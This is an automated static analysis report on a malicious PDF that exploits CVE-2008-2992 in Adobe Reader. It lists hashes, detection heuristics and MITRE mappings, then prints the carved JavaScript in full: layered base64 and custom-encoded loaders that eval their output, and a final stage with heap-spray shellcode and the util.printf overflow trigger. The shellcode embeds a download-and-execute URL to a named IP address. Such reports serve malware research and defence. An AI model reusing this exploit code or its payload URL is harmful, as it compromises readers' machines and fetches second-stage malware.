Malicious PDF — malware analysis report

Static analysis result for SHA-256 855e3e3721054c07…

MALICIOUS

PDF

4.0 KB First seen: 2012-07-12
MD5: 4c081b21d394ff9da715b77501a9af74 SHA-1: 1314ff9a844627997b99eb877f42ea9f1cdcb25a SHA-256: 855e3e3721054c0768a30f5db8b9cda3d05a05e63a18aa06bb112ea83d64858a
336 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that utilizes a heap spray technique and exploits CVE-2008-2992 in Adobe Reader. The script decodes and evaluates obfuscated JavaScript, which in turn contains a URL to download a second-stage payload. The primary purpose appears to be the execution of arbitrary code via the exploit and subsequent payload download.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-5343180-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-5343180-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://IGyUMt.elRqQ/DD Referenced by PDF JavaScript
    • http://93.174.93.11/~delmonca/u/load.phpReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6261 bytes
SHA-256: 642ba357d2e3265fb721430409c5a02c9337d3a0940185631bf89f3937fc1ae0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gc1Z5dERjODA3UihUdVd6aFRXdil7IHJldHVybiBTdHJpbmdbJ2Zyb21DaGFyQ29kZSddKFR1V3poVFd2KTt9IGZ1bmN0aW9uIFB1MVJidnVaaG9iUyhVTExOWjZFcHhUKXsgdmFyIGFyakw3VGFHYzdXcD0wLCBSS3FNUVg9VUxMTlo2RXB4VC5sZW5ndGgsIG9EbURyPTEwMjQsIGxEY0JhdjYsIGRJNEdweUlVLCBLRUJSd2kwM2o9JycsIFdtbjhZaUY2az1hcmpMN1RhR2M3V3AsIGtLdjJiOXNJPWFyakw3VGFHYzdXcCwgcENkYm49YXJqTDdUYUdjN1dwLCBob3VTamZhPUFycmF5KDYzLDE4LDMzLDAsNTgsMzgsMzcsMjAsNDMsNTEsMCwwLDAsMCwwLDAsMSwzMCw2MSwxOSwyMyw0OCw1MiwyMiw1Myw0Miw1NywzNCw0MCw1Niw0MSw2MiwyNSw0NywyOCwxMCw4LDE0LDMsNTQsNSw0LDE2LDAsMCwwLDAsMTEsMCwzNSw0NCwyNCwzOSw1NSwyNywzMiwxNSwzNiw1OSw1MCwxNywzMSw2MCwxMyw3LDYsNDYsNDksMiwyOSwyMSwyNiwxMiw5LDQ1KTsgZm9yKGRJNEdweUlVPU1hdGguY2VpbChSS3FNUVgvb0RtRHIpO2RJNEdweUlVPmFyakw3VGFHYzdXcDtkSTRHcHlJVS0tKXsgZm9yKGxEY0JhdjY9TWF0aC5taW4oUktxTVFYLG9EbURyKTtsRGNCYXY2PmFyakw3VGFHYzdXcDtsRGNCYXY2LS0sUktxTVFYLS0peyBwQ2Ribnw9KGhvdVNqZmFbVUxMTlo2RXB4VC5jaGFyQ29kZUF0KFdtbjhZaUY2aysrKS00OF0pPDxrS3YyYjlzSTsgaWYoa0t2MmI5c0kpeyBLRUJSd2kwM2orPXNWeXREYzgwN1IoMjQ1XnBDZGJuJjI1NSk7IHBDZGJuPj49ODsga0t2MmI5c0ktPTI7IH0gZWxzZSB7IGtLdjJiOXNJPTY7IH0gfSB9IGV2YWwoS0VCUndpMDNqKTsgfSBQdTFSYnZ1WmhvYlMoJ3FXeWlQNU42d3F5aVRWTTVad0w2N0dUaXVtb0YzcWJzQGZ4RjNxYnNAZnhGM3Fic0BmeEYzR25iRUFfRjN3YnMzbV9GM1VuRVdreEYzV1JzZWt4RjNXUnNYQ3hGM3RqYnFmeEYzdGpzQGZ4RjN0ano5MV9GM3RmOVhWeEYzVWpiRXdfRjNVamI5VV9GM1duenRoX0YzcWpiQFZfRjN0amJFVV9GM1VSRUVVX0YzdDhzRlVfRjNrbmJWcHhGM3Fuczl3eEYza25iVnB4RjNVeGJFU3hGM3RqYlhmeEYzdGpiRUFfRjNVUkVFVV9GM0FfOVhmeEYzVXhzb194RjN0X3NGMXhGM0diRVhmeEYzdGpiWUN4RjN0amJFVV9GMzFfelZoeEYzQV85RUFfRjNTYkVvX3hGM1V4RVlDeEYzR2JFRTF4RjN0amJZaF9GM3RqYkVVX0YzMV96Vmh4RjNBXzlFU3hGM3dfem9feEYzMVJzM2hfRjNHYkVwcF9GM3RqYlhwX0YzdGpiRVVfRjMxX3pWaHhGM0FfOUV3eEYzR1Jzb194RjNHbmJwQ3hGM0diRW9oX0YzdGpicW1fRjN0amJFVV9GMzFfelZoeEYzQV85OVVfRjNBeGJvX3hGM0d4enhoeEYzR2JFM194RjN0amJwOXhGM3RqYkVVX0YzMV96Vmh4RjMxamI5QV9GM3E4RVZoX0Yza3h6cGZfRjNVbkVZVnhGM1U4RUYxX0YzdGY5WGh4RjN0amJFdF9GM0Ffc0VVX0Yza3h6Vmh4RjNVUkVXQV9GM3RqekYxX0YzdF9ib1Z4RjNVUkVlVXhGM1U4RWUxX0YzR2JFZWt4RjN0amJWcHhGM3RqYkVVX0YzV2JFZVVfRjNVX0Vza3hGM2tuYldHeEYzU1I5WF94RjN0amJFVV9GM1VuRUVVX0YzVThzRjFfRjNBeHpWcHhGM0FuYlZmX0YzVW5FZVVfRjN3amJGMV9GMzFSc29feEYzdGpiRVVfRjNBamJFVV9GMzFfelZweEYzV3hFOUFfRjNBakVFcV9GM0FfelZweEYzR2JFOVN4RjN0amJvVl9GM3RqYkVVX0YzMV96RXdfRjNBUjlXVV9GM0E4c0VVX0Yzd19zeEN4RjNBUjlvQ19GM3RqekZVX0YzV3h6eF94RjN0amJFVV9GM2t4ellEeEYzVVJFV1VfRjN0OHNGMV9GM3RfYm9WeEYzVVJFZVV4RjNVOEVlMV9GMzFqYlhfeEYzdGpiRVVfRjNXeEVFVV9GM0E4RUVXeEYzMV96RXdfRjNxOHpXQV9GM0E4enFweEYzMVJzZXdfRjN3amJ4Q19GM0E4emVVX0YzMV96VnB4RjNXeEU5d3hGM0FqRUUxX0YzQV96VnB4RjNHYkU5U3hGM3RqYld3X0YzdGpiRVVfRjN0amJvVnhGM2t4ellEeEYzVVJFV1VfRjN0OEVGMV9GM3RmYm9WeEYzVVJFZVV4RjNVOEVlMV9GM1VqYlhfeEYzdGpiRVVfRjNXeEVFVV9GM1VSRVlEeEYzVWpiRjFfRjN0X2JvVnhGM1VSRWVVeEYzVThFZTFfRjN0amJYX3hGM3RqYkVVX0YzMV9iRVVfRjNBZmJlcXhGM0d4YkV3X0YzR3hiRXdfRjNHeGJFd19GM0d4YkV3X0YzR2JzVmZfRjNBX0VFQV9GM1VSRWV3X0YzR1JicVZ4RjNBZmJZZXhGM0duYllEeEYzVVJFZTFfRjNVUkVYZnhGM3Q4RXhteEYzQWpzVnB4RjNBXzlFd3hGM2tielZweEYzVVJFc3d4RjNVX3N4bV9GM3Q4enhfeEYzQV85WWZfRjNreDlWcHhGM3Q4eldVX0YzcTh6WWZfRjMxakVwaHhGM3Fuc0Z0X0YzQWJ6RXdfRjNxOHpla3hGM3Rmc1k5eEYzVWpiM0N4RjMxUmJzdHhGM3Q4RXhtX0YzQXhzcFZfRjN0OHpFQXhGMzFqYllwX0YzMXhiWHB4RjMxeHNzcXhGM2t4emUxeEYzQV9FWENfRjNHUkVWcHhGM0FfRVZweEYzdDh6V0FfRjNXeDlxbXhGM3Q4c1ZweEYzVVJFRnF4RjNVOHNldHhGM3duc0V3X0YzdGp6VnB4RjN0OHpWcHhGM0Ffc3BDX0YzQVJiZUF4RjN0amJFU3hGMzFuelhfeEYzMVJzWUN4RjNBX3pZRHhGMzE4c2VxX0YzMWZzRkF4RjN0amJGMXhGM1NSRVZleEYzU1JzdHB4RjNBbmJxQ19GM3d4OXBoX0YzQXhicWZ4RjN3YkVxQ3hGM0F4YnFweEYzd2JzcTl4RjN3eHNwVl9GM0FuYnFDeEYzVVJFdFZfRjNVYnpWVnhGM1VuYlZwX0YzVWJzVlZfRjNBbmJWQ3hGM0FuYnRWeEYzVW5iVmZfRjNVUkVWQ3hGM1NSc3BWX0YzU1JzVmVuSFJqUkhWMUoydmZjMnBLeGdmdE4yRzFQMlpXQkhaVmNzRkd4elpWY3NGR3h6RDl6OVYxSjJ2UXk1VG1Sc1VoVDZwR0JpMUtuNWM0ejJ1dFA1UHdONWx0SldQdEo1MXFjZFVfY2RSNXlpdWZjMnBydTVack5pQFdQa0NTeWVxR00yQWFiMlhBTDlWMUoydlF5NURBVGtxR00yZmZUZ0R3Y2dwa0o1MVd1c1BoTmlSam5nN0FjSHFxVGQxS2IyWEFNV3F0TTZxcU0yUnJOaXVEUldxR00yZmR5aWZTUGd1S0JpMWt6OXRXeWRQdFBlcXFUZDFydTVack5pQFdOZUNTUGtYZU1FWERSc1g5ejJAa05pVGZjZ1JTTmVxcVRkMTRCNWNBSjJVaFQ2cEdvNnBBVDVUUXlpdEdvenBBVDZ4V29lVWhONXBXb2RoS1JzVTlKYXlDbnNYRGI5Uk9MZUE5emE3QU0yYzRTZGhLU2txcVRkMTR6MnV0UDVQd041bHR5S1YxSjJ2cFA1Zkt5a0RDbnN4OXg5eDl4OXg5eDlEakJIeDl4OXg5bkhBbW85eDl4OW9lUjlvZVI5b216ZURlUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvbXplRGVSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlEakJIb2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b2VSOW9lUjlvZW5IQW11OW9lUjlvZVI5b2VSOW9lUjlEakJIb2VSOW9lUjlvZVI5b2VSOW9lUjlvZVI5b216ZURlUjlvZVI5b2VSOW9lUjlvZVI5RGp4Z0BrUDVmRE0yUnJQZ0NXQkhacHhFWERSc0NBdVdsNUo1Y2t6OScpOw==");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3541 bytes
SHA-256: 8e49a103e4125157999f81b57f34905c0315ace2f1d3fa98566ff3441edd01ba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 16 of 27 identifiers look randomly generated (e.g. 'V_F3tjbEU_F3UREEU_F3t8sFU_F3knbVpxF3qns9') — consistent with name-mangling obfuscation. Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function sVytDc807R(TuWzhTWv){ return String['fromCharCode'](TuWzhTWv);} function Pu1RbvuZhobS(ULLNZ6EpxT){ var arjL7TaGc7Wp=0, RKqMQX=ULLNZ6EpxT.length, oDmDr=1024, lDcBav6, dI4GpyIU, KEBRwi03j='', Wmn8YiF6k=arjL7TaGc7Wp, kKv2b9sI=arjL7TaGc7Wp, pCdbn=arjL7TaGc7Wp, houSjfa=Array(63,18,33,0,58,38,37,20,43,51,0,0,0,0,0,0,1,30,61,19,23,48,52,22,53,42,57,34,40,56,41,62,25,47,28,10,8,14,3,54,5,4,16,0,0,0,0,11,0,35,44,24,39,55,27,32,15,36,59,50,17,31,60,13,7,6,46,49,2,29,21,26,12,9,45); for(dI4GpyIU=Math.ceil(RKqMQX/oDmDr);dI4GpyIU>arjL7TaGc7Wp;dI4GpyIU--){ for(lDcBav6=Math.min(RKqMQX,oDmDr);lDcBav6>arjL7TaGc7Wp;lDcBav6--,RKqMQX--){ pCdbn|=(houSjfa[ULLNZ6EpxT.charCodeAt(Wmn8YiF6k++)-48])<<kKv2b9sI; if(kKv2b9sI){ KEBRwi03j+=sVytDc807R(245^pCdbn&255); pCdbn>>=8; kKv2b9sI-=2; } else { kKv2b9sI=6; } } } eval(KEBRwi03j); } Pu1RbvuZhobS('qWyiP5N6wqyiTVM5ZwL67GTiumoF3qbs@fxF3qbs@fxF3qbs@fxF3GnbEA_F3wbs3m_F3UnEWkxF3WRsekxF3WRsXCxF3tjbqfxF3tjs@fxF3tjz91_F3tf9XVxF3UjbEw_F3Ujb9U_F3Wnzth_F3qjb@V_F3tjbEU_F3UREEU_F3t8sFU_F3knbVpxF3qns9wxF3knbVpxF3UxbESxF3tjbXfxF3tjbEA_F3UREEU_F3A_9XfxF3Uxso_xF3t_sF1xF3GbEXfxF3tjbYCxF3tjbEU_F31_zVhxF3A_9EA_F3SbEo_xF3UxEYCxF3GbEE1xF3tjbYh_F3tjbEU_F31_zVhxF3A_9ESxF3w_zo_xF31Rs3h_F3GbEpp_F3tjbXp_F3tjbEU_F31_zVhxF3A_9EwxF3GRso_xF3GnbpCxF3GbEoh_F3tjbqm_F3tjbEU_F31_zVhxF3A_99U_F3Axbo_xF3GxzxhxF3GbE3_xF3tjbp9xF3tjbEU_F31_zVhxF31jb9A_F3q8EVh_F3kxzpf_F3UnEYVxF3U8EF1_F3tf9XhxF3tjbEt_F3A_sEU_F3kxzVhxF3UREWA_F3tjzF1_F3t_boVxF3UREeUxF3U8Ee1_F3GbEekxF3tjbVpxF3tjbEU_F3WbEeU_F3U_EskxF3knbWGxF3SR9X_xF3tjbEU_F3UnEEU_F3U8sF1_F3AxzVpxF3AnbVf_F3UnEeU_F3wjbF1_F31Rso_xF3tjbEU_F3AjbEU_F31_zVpxF3WxE9A_F3AjEEq_F3A_zVpxF3GbE9SxF3tjboV_F3tjbEU_F31_zEw_F3AR9WU_F3A8sEU_F3w_sxCxF3AR9oC_F3tjzFU_F3Wxzx_xF3tjbEU_F3kxzYDxF3UREWU_F3t8sF1_F3t_boVxF3UREeUxF3U8Ee1_F31jbX_xF3tjbEU_F3WxEEU_F3A8EEWxF31_zEw_F3q8zWA_F3A8zqpxF31Rsew_F3wjbxC_F3A8zeU_F31_zVpxF3WxE9wxF3AjEE1_F3A_zVpxF3GbE9SxF3tjbWw_F3tjbEU_F3tjboVxF3kxzYDxF3UREWU_F3t8EF1_F3tfboVxF3UREeUxF3U8Ee1_F3UjbX_xF3tjbEU_F3WxEEU_F3UREYDxF3UjbF1_F3t_boVxF3UREeUxF3U8Ee1_F3tjbX_xF3tjbEU_F31_bEU_F3AfbeqxF3GxbEw_F3GxbEw_F3GxbEw_F3GxbEw_F3GbsVf_F3A_EEA_F3UREew_F3GRbqVxF3AfbYexF3GnbYDxF3UREe1_F3UREXfxF3t8ExmxF3AjsVpxF3A_9EwxF3kbzVpxF3UREswxF3U_sxm_F3t8zx_xF3A_9Yf_F3kx9VpxF3t8zWU_F3q8zYf_F31jEphxF3qnsFt_F3AbzEw_F3q8zekxF3tfsY9xF3Ujb3CxF31RbstxF3t8Exm_F3AxspV_F3t8zEAxF31jbYp_F31xbXpxF31xssqxF3kxze1xF3A_EXC_F3GREVpxF3A_EVpxF3t8zWA_F3Wx9qmxF3t8sVpxF3UREFqxF3U8setxF3wnsEw_F3tjzVpxF3t8zVpxF3A_spC_F3ARbeAxF3tjbESxF31nzX_xF31RsYCxF3A_zYDxF318seq_F31fsFAxF3tjbF1xF3SREVexF3SRstpxF3AnbqC_F3wx9ph_F3AxbqfxF3wbEqCxF3AxbqpxF3wbsq9xF3wxspV_F3AnbqCxF3UREtV_F3UbzVVxF3UnbVp_F3UbsVV_F3AnbVCxF3AnbtVxF3UnbVf_F3UREVCxF3SRspV_F3SRsVenHRjRHV1J2vfc2pKxgftN2G1P2ZWBHZVcsFGxzZVcsFGxzD9z9V1J2vQy5TmRsUhT6pGBi1Kn5c4z2utP5PwN5ltJWPtJ51qcdU_cdR5yiufc2pru5ZrNi@WPkCSyeqGM2Aab2XAL9V1J2vQy5DATkqGM2ffTgDwcgpkJ51WusPhNiRjng7AcHqqTd1Kb2XAMWqtM6qqM2RrNiuDRWqGM2fdyifSPguKBi1kz9tWydPtPeqqTd1ru5ZrNi@WNeCSPkXeMEXDRsX9z2@kNiTfcgRSNeqqTd14B5cAJ2UhT6pGo6pAT5TQyitGozpAT6xWoeUhN5pWodhKRsU9JayCnsXDb9ROLeA9za7AM2c4SdhKSkqqTd14z2utP5PwN5ltyKV1J2vpP5fKykDCnsx9x9x9x9x9x9DjBHx9x9x9nHAmo9x9x9oeR9oeR9omzeDeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9omzeDeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9DjBHoeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oeR9oenHAmu9oeR9oeR9oeR9oeR9DjBHoeR9oeR9oeR9oeR9oeR9oeR9omzeDeR9oeR9oeR9oeR9oeR9Djxg@kP5fDM2RrPgCWBHZpxEXDRsCAuWl5J5ckz9');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.